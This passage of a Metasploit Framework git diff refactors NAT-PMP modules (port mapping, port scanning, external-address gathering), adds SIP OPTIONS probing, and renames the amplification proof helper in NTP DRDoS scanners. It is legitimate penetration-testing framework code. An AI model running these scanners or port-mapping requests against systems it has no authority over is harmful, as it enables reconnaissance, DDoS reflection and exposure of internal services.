Base#set_sane_defaults) + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + def swap_sock_plain_to_ssl(nsock=self.sock) + ctx = generate_ssl_context + ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) + + ssl.connect + + nsock.extend(Rex::Socket::SslTcp) + nsock.sslsock = ssl + nsock.sslctx = ctx + end + + def generate_ssl_context + ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) + @@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){} + + ctx.key = @@cached_rsa_key + + ctx.session_id_context = Rex::Text.rand_text(16) + + ctx + end + end + + end + end +end diff --git a/lib/metasploit/framework/parsed_options/base.rb b/lib/metasploit/framework/parsed_options/base.rb index 3230ee214e..c8434b3ec0 100644 --- a/lib/metasploit/framework/parsed_options/base.rb +++ b/lib/metasploit/framework/parsed_options/base.rb @@ -14,8 +14,8 @@ require 'active_support/ordered_options' # Project # +require 'metasploit/framework/database' require 'metasploit/framework/parsed_options' -require 'msf/base/config' # Options parsed from the command line that can be used to change the # `Metasploit::Framework::Application.config` and `Rails.env` @@ -73,15 +73,7 @@ class Metasploit::Framework::ParsedOptions::Base options.database = ActiveSupport::OrderedOptions.new - user_config_root = Pathname.new(Msf::Config.get_config_root) - user_database_yaml = user_config_root.join('database.yml') - - if user_database_yaml.exist? - options.database.config = user_database_yaml.to_path - else - options.database.config = 'config/database.yml' - end - + options.database.config = Metasploit::Framework::Database.configurations_pathname.try(:to_path) options.database.disable = false options.database.migrations_paths = [] diff --git a/lib/msf/core/auxiliary/drdos.rb b/lib/msf/core/auxiliary/drdos.rb index cf9c887321..fdf3f3f93e 100644 --- a/lib/msf/core/auxiliary/drdos.rb +++ b/lib/msf/core/auxiliary/drdos.rb @@ -8,7 +8,7 @@ module Msf ### module Auxiliary::DRDoS - def prove_drdos(response_map) + def prove_amplification(response_map) vulnerable = false proofs = [] response_map.each do |request, responses| @@ -30,7 +30,8 @@ module Auxiliary::DRDoS bandwidth_amplification = total_size - request.size if bandwidth_amplification > 0 vulnerable = true - this_proof += "a #{bandwidth_amplification}-byte bandwidth amplification" + multiplier = total_size / request.size + this_proof += "a #{multiplier}x, #{bandwidth_amplification}-byte bandwidth amplification" else this_proof += 'no bandwidth amplification' end diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 423105227e..610866fe56 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -20,6 +20,7 @@ require 'msf/core/auxiliary/login' require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/cisco' require 'msf/core/auxiliary/nmap' +require 'msf/core/auxiliary/natpmp' require 'msf/core/auxiliary/iax2' require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/pii' diff --git a/lib/msf/core/auxiliary/natpmp.rb b/lib/msf/core/auxiliary/natpmp.rb new file mode 100644 index 0000000000..b2cea9230e --- /dev/null +++ b/lib/msf/core/auxiliary/natpmp.rb @@ -0,0 +1,27 @@ +# -*- coding: binary -*- +require 'rex/proto/natpmp' + +module Msf + +### +# +# This module provides methods for working with NAT-PMP +# +### +module Auxiliary::NATPMP + + include Auxiliary::Scanner + include Rex::Proto::NATPMP + + def initialize(info = {}) + super + register_options( + [ + Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), + Opt::CHOST + ], + self.class + ) + end +end +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 9f2fdd9669..c5e2b0fc1b 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -57,6 +57,7 @@ require 'msf/core/exploit/wdbrpc' require 'msf/core/exploit/wdbrpc_client' require 'msf/core/exploit/afp' require 'msf/core/exploit/realport' +require 'msf/core/exploit/sip' # Telephony require 'msf/core/exploit/dialup' diff --git a/lib/msf/core/exploit/sip.rb b/lib/msf/core/exploit/sip.rb new file mode 100644 index 0000000000..34138af7fc --- /dev/null +++ b/lib/msf/core/exploit/sip.rb @@ -0,0 +1,94 @@ +# -*- coding: binary -*- + +require 'rex/proto/sip/response' + +module Msf + # SIP protocol support + module Exploit::Remote::SIP + # Parses +response+, extracts useful metdata and then reports on it. + # Returns true iff the response was a valid SIP response + def report_response(response, rhost, proto, desired_headers = %w(User-Agent Server Allow)) + endpoint = "#{rhost}:#{rport} #{proto}" + begin + options_response = Rex::Proto::SIP::Response.parse(response) + rescue ArgumentError => e + vprint_error("#{endpoint} is not SIP: #{e}") + return false + end + + # Extracted headers, stored as a hash where the key is the header name + # and the value is a list of all values seen for the header, covering the + # case where the same header value is seen multiple times + extracted_headers = {} + unless desired_headers.nil? || desired_headers.empty? + desired_headers.each do |desired_header| + next unless (found_header = options_response.header(desired_header)) + extracted_headers[desired_header] ||= [] + extracted_headers[desired_header] |= found_header + end + end + + # Create a SIP OPTIONS fingerprint hash + fprint = { + 'code' => options_response.code, + 'message' => options_response.message + } + + # compact the header values, append the header information to the + # fingerprint hash + extracted_headers.each_pair do |k,v| + value = v.join(',') + extracted_headers[k] = value + fprint['header_' + k.gsub('-', '_').downcase] = value + end + + # Create a summary of the response + status = options_response.status_line.dup + unless extracted_headers.keys.empty? + status << ": #{extracted_headers}" + end + + # Report the service with the status information + report_service( + host: rhost, + port: rport, + proto: proto.downcase, + name: 'sip', + info: status + ) + + # Report the fingerprint information + report_note( + host: rhost, + port: rport, + proto: proto.downcase, + type: "sip.options.fingerprint", + data: fprint + ) + + # Display the actual result to the user + print_status(endpoint + " " + status) + true + end + + def create_probe(ip, proto) + suser = Rex::Text.rand_text_alphanumeric(rand(8) + 1) + shost = Rex::Socket.source_address(ip) + src = "#{shost}:#{datastore['RPORT']}" + + data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n" + data << "Via: SIP/2.0/#{proto.upcase} #{src};branch=z9hG4bK.#{format('%.8x', rand(0x100000000))};rport;alias\r\n" + data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n" + data << "To: sip:#{datastore['TO']}@#{ip}\r\n" + data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n" + data << "CSeq: 1 OPTIONS\r\n" + data << "Contact: sip:#{suser}@#{src}\r\n" + data << "Max-Forwards: 20\r\n" + data << "User-Agent: #{suser}\r\n" + data << "Accept: application/sdp\r\n" + data << "Content-Length: 0\r\n" + data << "\r\n" + data + end + end +end diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 598d64ef8d..25d8590752 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1109,8 +1109,9 @@ class Db end end if (note.service) - name = (note.service.name ? note.service.name : "#{note.service.port}/#{note.service.proto}") - msg << " service=#{name}" + msg << " service=#{note.service.name}" if note.service.name + msg << " port=#{note.service.port}" if note.service.port + msg << " protocol=#{note.service.proto}" if note.service.proto end msg << " type=#{note.ntype} data=#{note.data.inspect}" print_status(msg) diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 48acab5890..c13142ffd6 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -15,12 +15,9 @@ module Msf module Ui module Console -### # -# This class implements a user interface driver on a console interface. +# A user interface driver on a console interface. # -### - class Driver < Msf::Ui::Driver ConfigCore = "framework/core" @@ -44,21 +41,18 @@ class Driver < Msf::Ui::Driver # prompt character. The optional hash can take extra values that will # serve to initialize the console driver. # - # The optional hash values can include: - # - # AllowCommandPassthru - # - # Whether or not unknown commands should be passed through and executed by - # the local system. - # - # RealReadline - # - # Whether or to use the system Readline or the RBReadline (default) - # - # HistFile - # - # Name of a file to store command history - # + # @option opts [Boolean] 'AllowCommandPassthru' (true) Whether to allow + # unrecognized commands to be executed by the system shell + # @option opts [Boolean] 'RealReadline' (false) Whether to use the system's + # readline library instead of RBReadline + # @option opts [String] 'HistFile' (Msf::Config.history_file) Path to a file + # where we can store command history + # @option opts [Array] 'Resources' ([]) A list of resource files to + # load. If no resources are given, will load the default resource script, + # 'msfconsole.rc' in the user's {Msf::Config.config_directory config + # directory} + # @option opts [Boolean] 'SkipDatabaseInit' (false) Whether to skip + # connecting to the database and running migrations def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {}) # Choose a readline library before calling the parent @@ -182,21 +176,15 @@ class Driver < Msf::Ui::Driver if framework.db.connection_established? framework.db.after_establish_connection else - # Look for our database configuration in the following places, in order: - # command line arguments - # environment variable - # configuration directory (usually ~/.msf3) - dbfile = opts['DatabaseYAML'] - dbfile ||= ENV["MSF_DATABASE_CONFIG"] - dbfile ||= File.join(Msf::Config.get_config_root, "database.yml") + configuration_pathname = Metasploit::Framework::Database.configurations_pathname(path: opts['DatabaseYAML']) - if (dbfile and File.exists? dbfile) - if File.readable?(dbfile) - dbinfo = YAML.load(File.read(dbfile)) + unless configuration_pathname.nil? + if configuration_pathname.readable? + dbinfo = YAML.load_file(configuration_pathname) dbenv = opts['DatabaseEnv'] || Rails.env db = dbinfo[dbenv] else - print_error("Warning, #{dbfile} is not readable. Try running as root or chmod.") + print_error("Warning, #{configuration_pathname} is not readable. Try running as root or chmod.") end if not db @@ -253,14 +241,14 @@ class Driver < Msf::Ui::Driver # Process things before we actually display the prompt and get rocking on_startup(opts) - # Process the resource script - if opts['Resource'] and opts['Resource'].kind_of? Array + # Process any resource scripts + if opts['Resource'].blank? + # None given, load the default + load_resource(File.join(Msf::Config.config_directory, 'msfconsole.rc')) + else opts['Resource'].each { |r| load_resource(r) } - else - # If the opt is nil here, we load ~/.msf3/msfconsole.rc - load_resource(opts['Resource']) end # Process any additional startup commands @@ -433,11 +421,11 @@ class Driver < Msf::Ui::Driver end end + # Processes a resource script file for the console. # - # Processes the resource script file for the console. - # - def load_resource(path=nil) - path ||= File.join(Msf::Config.config_directory, 'msfconsole.rc') + # @param path [String] Path to a resource file to run + # @return [void] + def load_resource(path) return if not ::File.readable?(path) resource_file = ::File.read(path) @@ -605,9 +593,9 @@ class Driver < Msf::Ui::Driver # The framework instance associated with this driver. # attr_reader :framework - # + # # Whether or not to confirm before exiting - # + # attr_reader :confirm_exit # # Whether or not commands can be passed through. diff --git a/lib/rex/proto/natpmp/packet.rb b/lib/rex/proto/natpmp/packet.rb index 16b791f3ac..c94a2130a3 100644 --- a/lib/rex/proto/natpmp/packet.rb +++ b/lib/rex/proto/natpmp/packet.rb @@ -12,20 +12,20 @@ module Proto module NATPMP # Return a NAT-PMP request to get the external address. - def self.external_address_request + def external_address_request [ 0, 0 ].pack('nn') end # Parse a NAT-PMP external address response +resp+. # Returns the decoded parts of the response as an array. - def self.parse_external_address_response(resp) - (ver, op, result, epoch, addr) = resp.unpack("CCvVN") + def parse_external_address_response(resp) + (ver, op, result, epoch, addr) = resp.unpack("CCnNN") [ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ] end # Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms - def self.map_port_request(lport, rport, protocol, lifetime) - [ Rex::Proto::NATPMP::Version, # version + def map_port_request(lport, rport, protocol, lifetime) + [ Rex::Proto::NATPMP::Version, # version protocol, # opcode, which is now the protocol we are asking to forward 0, # reserved lport, @@ -36,8 +36,8 @@ module NATPMP # Parse a NAT-PMP mapping response +resp+. # Returns the decoded parts as an array. - def self.parse_map_port_response(resp) - resp.unpack("CCvVnnN") + def parse_map_port_response(resp) + resp.unpack("CCnNnnN") end end diff --git a/lib/rex/proto/sip.rb b/lib/rex/proto/sip.rb new file mode 100644 index 0000000000..3c0098cb54 --- /dev/null +++ b/lib/rex/proto/sip.rb @@ -0,0 +1,4 @@ +# encoding: binary + +# SIP protocol support +require 'rex/proto/sip/response' diff --git a/lib/rex/proto/sip/response.rb b/lib/rex/proto/sip/response.rb new file mode 100644 index 0000000000..3135052471 --- /dev/null +++ b/lib/rex/proto/sip/response.rb @@ -0,0 +1,61 @@ +# encoding: binary + +module Rex + module Proto + # SIP protocol support + module SIP + SIP_STATUS_REGEX = /^SIP\/(\d\.\d) (\d{3})\s*(.*)$/ + + # Represents a generic SIP message + class Message + attr_accessor :headers + + def initialize + @headers = {} + end + + # Returns a list of all values from all +name+ headers, regardless of case, + # or nil if no matching header is found + def header(name) + matches = @headers.select { |k, _| k.downcase == name.downcase } + return nil if matches.empty? + matches.values.flatten + end + + # Returns a hash of header name to values mapping + # from the provided message, or nil if no headers + # are found + def self.extract_headers(message) + pairs = message.scan(/^([^\s:]+):\s*(.*)$/) + return nil if pairs.empty? + headers = {} + pairs.each do |pair| + headers[pair.first] ||= [] + headers[pair.first] << pair.last.strip + end + headers + end + end + + # Represents a SIP response message + class Response < Message + attr_accessor :code, :message, :status_line, :version + + # Parses +data+, constructs and returns a Response + def self.parse(data) + response = Response.new + # do some basic sanity checking on this response to ensure that it is SIP + response.status_line = data.split(/\r\n/)[0] + unless response.status_line && response.status_line =~ SIP_STATUS_REGEX + fail(ArgumentError, "Invalid SIP status line: #{response.status_line}") + end + response.version = Regexp.last_match(1) + response.code = Regexp.last_match(2) + response.message = Regexp.last_match(3) + response.headers = extract_headers(data) + response + end + end + end + end +end diff --git a/lib/tasks/cucumber.rake b/lib/tasks/cucumber.rake index 888b020cdf..ff424fa7b0 100644 --- a/lib/tasks/cucumber.rake +++ b/lib/tasks/cucumber.rake @@ -1,22 +1,74 @@ +# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril. +# It is recommended to regenerate this file in the future when you upgrade to a +# newer version of cucumber-rails. Consider adding your own code to a new file +# instead of editing this one. Cucumber will automatically load all features/**/*.rb +# files. + + +unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks + +vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first +$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil? + begin - require 'cucumber' require 'cucumber/rake/task' + namespace :cucumber do + Cucumber::Rake::Task.new({:ok => 'db:test:prepare'}, 'Run features that should pass') do |t| + t.binary = vendored_cucumber_bin # If nil, the gem's binary is used. + t.fork = true # You may get faster startup if you set this to false + t.profile = 'default' + end - Cucumber::Rake::Task.new(:features) do |t| - t.cucumber_opts = 'features --format pretty' - t.profile = 'default' - end + Cucumber::Rake::Task.new({:wip => 'db:test:prepare'}, 'Run features that are being worked on') do |t| + t.binary = vendored_cucumber_bin + t.fork = true # You may get faster startup if you set this to false + t.profile = 'wip' + end - namespace :features do - Cucumber::Rake::Task.new(:boot) do |t| - t.profile = 'boot' + Cucumber::Rake::Task.new({:rerun => 'db:test:prepare'}, 'Record failing features and run only them if any exist') do |t| + t.binary = vendored_cucumber_bin + t.fork = true # You may get faster startup if you set this to false + t.profile = 'rerun' + end + + desc 'Run all features' + task :all => [:ok, :wip] + + task :statsetup do + require 'rails/code_statistics' + ::STATS_DIRECTORIES << %w(Cucumber\ features features) if File.exist?('features') + ::CodeStatistics::TEST_TYPES << "Cucumber features" if File.exist?('features') end end + desc 'Alias for cucumber:ok' + task :cucumber => 'cucumber:ok' + task :default => :cucumber + + task :features => :cucumber do + STDERR.puts "*** The 'features' task is deprecated. See rake -T cucumber ***" + end + + # In case we don't have ActiveRecord, append a no-op task that we can depend upon. + task 'db:test:prepare' do + end + + task 'db:config:restore' do + require 'metasploit/framework/database/cucumber' + Metasploit::Framework::Database::Cucumber.restore_project_configurations + end + + # Restore the config/database.yml from config/database.cucumber.yml before attempting to copy development to test + # database in order to recover from interrupted cucumber runs + task 'environment' => 'db:config:restore' + + task :stats => 'cucumber:statsetup' rescue LoadError - task :features do - puts "cucumber not in bundle, so can't set up feature tasks. " \ - "To run features ensure to install the development and test groups." + desc 'cucumber rake task not available (cucumber not installed)' + task :cucumber do + abort 'Cucumber rake task is not available. Be sure to install cucumber as a gem or plugin' end end + +end diff --git a/lib/tasks/custom_cucumber.rake b/lib/tasks/custom_cucumber.rake new file mode 100644 index 0000000000..f79bd0eb93 --- /dev/null +++ b/lib/tasks/custom_cucumber.rake @@ -0,0 +1,19 @@ +unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks + +vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first +$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil? + +begin + require 'cucumber/rake/task' + + namespace :cucumber do + Cucumber::Rake::Task.new({:boot => 'db:test:prepare'}, 'Run features that should pass') do |t| + t.binary = vendored_cucumber_bin # If nil, the gem's binary is used. + t.fork = true # You may get faster startup if you set this to false + t.profile = 'boot' + end + end + +end + +end \ No newline at end of file diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb index 1738a8e425..3f51218d2c 100644 --- a/modules/auxiliary/admin/natpmp/natpmp_map.rb +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -4,12 +4,13 @@ ## require 'msf/core' -require 'rex/proto/natpmp' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include Msf::Auxiliary::NATPMP + include Rex::Proto::NATPMP def initialize super( @@ -21,12 +22,10 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::LPORT, - Opt::RPORT, - OptInt.new('NATPMPPORT', [true, "NAT-PMP port to use", Rex::Proto::NATPMP::DefaultPort]), + OptPort.new('EXTERNAL_PORT', [true, 'The external port to foward from']), + OptPort.new('INTERNAL_PORT', [true, 'The internal port to forward to']), OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]), OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]), - Opt::CHOST ], self.class ) @@ -43,21 +42,20 @@ class Metasploit3 < Msf::Auxiliary # get the external address first vprint_status "#{host} - NATPMP - Probing for external address" - req = Rex::Proto::NATPMP.external_address_request - udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0) + udp_sock.sendto(external_address_request, host, datastore['RPORT'], 0) external_address = nil while (r = udp_sock.recvfrom(12, 1) and r[1]) - (ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) + (ver, op, result, epoch, external_address) = parse_external_address_response(r[0]) end vprint_status "#{host} - NATPMP - Sending mapping request" # build the mapping request - req = Rex::Proto::NATPMP.map_port_request( - datastore['LPORT'].to_i, datastore['RPORT'].to_i, + req = map_port_request( + datastore['INTERNAL_PORT'], datastore['EXTERNAL_PORT'], Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME'] ) # send it - udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0) + udp_sock.sendto(req, host, datastore['RPORT'], 0) # handle the reply while (r = udp_sock.recvfrom(16, 1) and r[1]) handle_reply(Rex::Socket.source_address(host), host, external_address, r) @@ -78,12 +76,12 @@ class Metasploit3 < Msf::Auxiliary pkt[1] = pkt[1].sub(/^::ffff:/, '') end - (ver, op, result, epoch, internal_port, external_port, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) + (ver, op, result, epoch, internal_port, external_port, lifetime) = parse_map_port_response(pkt[0]) if (result == 0) - if (datastore['RPORT'].to_i != external_port) + if (datastore['EXTERNAL_PORT'] != external_port) print_status( "#{external_address} " + - "#{datastore['RPORT']}/#{datastore['PROTOCOL']} -> #{map_target} " + + "#{datastore['EXTERNAL_PORT']}/#{datastore['PROTOCOL']} -> #{map_target} " + "#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded") end print_status( "#{external_address} " + diff --git a/modules/auxiliary/gather/natpmp_external_address.rb b/modules/auxiliary/gather/natpmp_external_address.rb index 8adc4677cb..ba8f9fb65c 100644 --- a/modules/auxiliary/gather/natpmp_external_address.rb +++ b/modules/auxiliary/gather/natpmp_external_address.rb @@ -4,12 +4,14 @@ ## require 'msf/core' -require 'rex/proto/natpmp' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NATPMP + include Rex::Proto::NATPMP def initialize super( @@ -19,68 +21,43 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options( - [ - Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), - Opt::CHOST - ], - self.class - ) end - def run_host(host) - begin - udp_sock = Rex::Socket::Udp.create({ - 'LocalHost' => datastore['CHOST'] || nil, - 'Context' => {'Msf' => framework, 'MsfExploit' => self} - }) - add_socket(udp_sock) - vprint_status "#{host}:#{datastore['RPORT']} - NATPMP - Probing for external address" + def scan_host(ip) + scanner_send(@probe, ip, datastore['RPORT']) + end - udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0) - while (r = udp_sock.recvfrom(12, 1.0) and r[1]) - handle_reply(host, r) + def scanner_prescan(batch) + @probe = external_address_request + end + + def scanner_process(data, shost, sport) + (ver, op, result, epoch, external_address) = parse_external_address_response(data) + + peer = "#{shost}:#{sport}" + if (ver == 0 && op == 128 && result == 0) + print_good("#{peer} -- external address #{external_address}") + # report its external address as alive + if inside_workspace_boundary?(external_address) + report_host( + :host => external_address, + :state => Msf::HostState::Alive + ) end - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - rescue ::Exception => e - print_error("#{host}:#{datastore['RPORT']} Unknown error: #{e.class} #{e}") - end - end - - def handle_reply(host, pkt) - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - (ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(pkt[0]) - - if (result == 0) - print_status("#{host} -- external address #{external_address}") + else + print_error("#{peer} -- unexpected version/opcode/result/address: #{ver}/#{op}/#{result}/#{external_address}") end # report the host we scanned as alive report_host( - :host => host, + :host => shost, :state => Msf::HostState::Alive ) - # also report its external address as alive - if inside_workspace_boundary?(external_address) - report_host( - :host => external_address, - :state => Msf::HostState::Alive - ) - end - # report NAT-PMP as being open report_service( - :host => host, - :port => pkt[2], + :host => shost, + :port => sport, :proto => 'udp', :name => 'natpmp', :state => Msf::ServiceState::Open diff --git a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb index b472ed1538..4e21b12134 100644 --- a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb +++ b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb @@ -5,12 +5,13 @@ require 'msf/core' -require 'rex/proto/natpmp' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include Msf::Auxiliary::NATPMP + include Rex::Proto::NATPMP def initialize super( @@ -22,10 +23,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]), OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]), - Opt::CHOST ], self.class) end @@ -36,32 +35,33 @@ class Metasploit3 < Msf::Auxiliary 'Context' => {'Msf' => framework, 'MsfExploit' => self} } ) add_socket(udp_sock) - vprint_status "Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} on #{host} using NATPMP" + peer = "#{host}:#{datastore['RPORT']}" + vprint_status("#{peer} Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} using NATPMP") # first, send a request to get the external address - udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0) + udp_sock.sendto(external_address_request, host, datastore['RPORT'], 0) external_address = nil while (r = udp_sock.recvfrom(12, 0.25) and r[1]) - (ver,op,result,epoch,external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) + (ver,op,result,epoch,external_address) = parse_external_address_response(r[0]) end if (external_address) - print_good("External address of #{host} is #{external_address}") + print_good("#{peer} responded with external address of #{external_address}") else - print_error("Didn't get a response for #{host}'s external address") + vprint_status("#{peer} didn't respond with an external address") return end Rex::Socket.portspec_crack(datastore['PORTS']).each do |port| # send one request to clear the mapping if *we've* created it before - clear_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0) - udp_sock.sendto(clear_req, host, datastore['RPORT'].to_i, 0) + clear_req = map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0) + udp_sock.sendto(clear_req, host, datastore['RPORT'], 0) while (r = udp_sock.recvfrom(16, 1.0) and r[1]) end # now try the real mapping - map_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1) - udp_sock.sendto(map_req, host, datastore['RPORT'].to_i, 0) + map_req = map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1) + udp_sock.sendto(map_req, host, datastore['RPORT'], 0) while (r = udp_sock.recvfrom(16, 1.0) and r[1]) handle_reply(host, external_address, r) end @@ -85,21 +85,22 @@ class Metasploit3 < Msf::Auxiliary host = pkt[1] protocol = datastore['PROTOCOL'].to_s.downcase - (ver, op, result, epoch, int, ext, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) + (ver, op, result, epoch, int, ext, lifetime) = parse_map_port_response(pkt[0]) + peer = "#{host}:#{datastore['RPORT']}" if (result == 0) # we always ask to map an external port to the same port on us. If # we get a successful reponse back but the port we requested be forwarded # is different, that means that someone else already has it open if (int != ext) state = Msf::ServiceState::Open - print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports") + print_good("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports") else state = Msf::ServiceState::Closed - print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG']) + print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG']) end else state = Msf::ServiceState::Closed - print_status("#{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG']) + print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG']) end if inside_workspace_boundary?(external_addr) diff --git a/modules/auxiliary/scanner/ntp/ntp_monlist.rb b/modules/auxiliary/scanner/ntp/ntp_monlist.rb index 5241363c26..e05385a76f 100644 --- a/modules/auxiliary/scanner/ntp/ntp_monlist.rb +++ b/modules/auxiliary/scanner/ntp/ntp_monlist.rb @@ -123,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary end end - vulnerable, proof = prove_drdos(response_map) + vulnerable, proof = prove_amplification(response_map) what = 'NTP Mode 7 monlist DRDoS (CVE-2013-5211)' if vulnerable print_good("#{peer} - Vulnerable to #{what}: #{proof}") diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb index e166d08e99..2984c57d9a 100644 --- a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary ) peer = "#{k}:#{rport}" - vulnerable, proof = prove_drdos(response_map) + vulnerable, proof = prove_amplification(response_map) what = 'R7-2014-12 NTP Mode 7 PEER_LIST DRDoS' if vulnerable print_good("#{peer} - Vulnerable to #{what}: #{proof}") diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb index 7c09684c2b..b58429f90c 100644 --- a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary ) peer = "#{k}:#{rport}" - vulnerable, proof = prove_drdos(response_map) + vulnerable, proof = prove_amplification(response_map) what = 'R7-2014-12 NTP Mode 7 PEER_LIST_SUM DRDoS' if vulnerable print_good("#{peer} - Vulnerable to #{what}: #{proof}") diff --git a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb index 7e0bb4a7b7..1022b735db 100644 --- a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary ) peer = "#{k}:#{rport}" - vulnerable, proof = prove_drdos(response_map) + vulnerable, proof = prove_amplification(response_map) what = 'R7-2014-12 NTP Mode 6 REQ_NONCE DRDoS' if vulnerable print_good("#{peer} - Vulnerable to #{what}: #{proof}") diff --git a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb index cad5412f68..68d9b66263 100644 --- a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary ) peer = "#{k}:#{rport}" - vulnerable, proof = prove_drdos(response_map) + vulnerable, proof = prove_amplification(response_map) what = 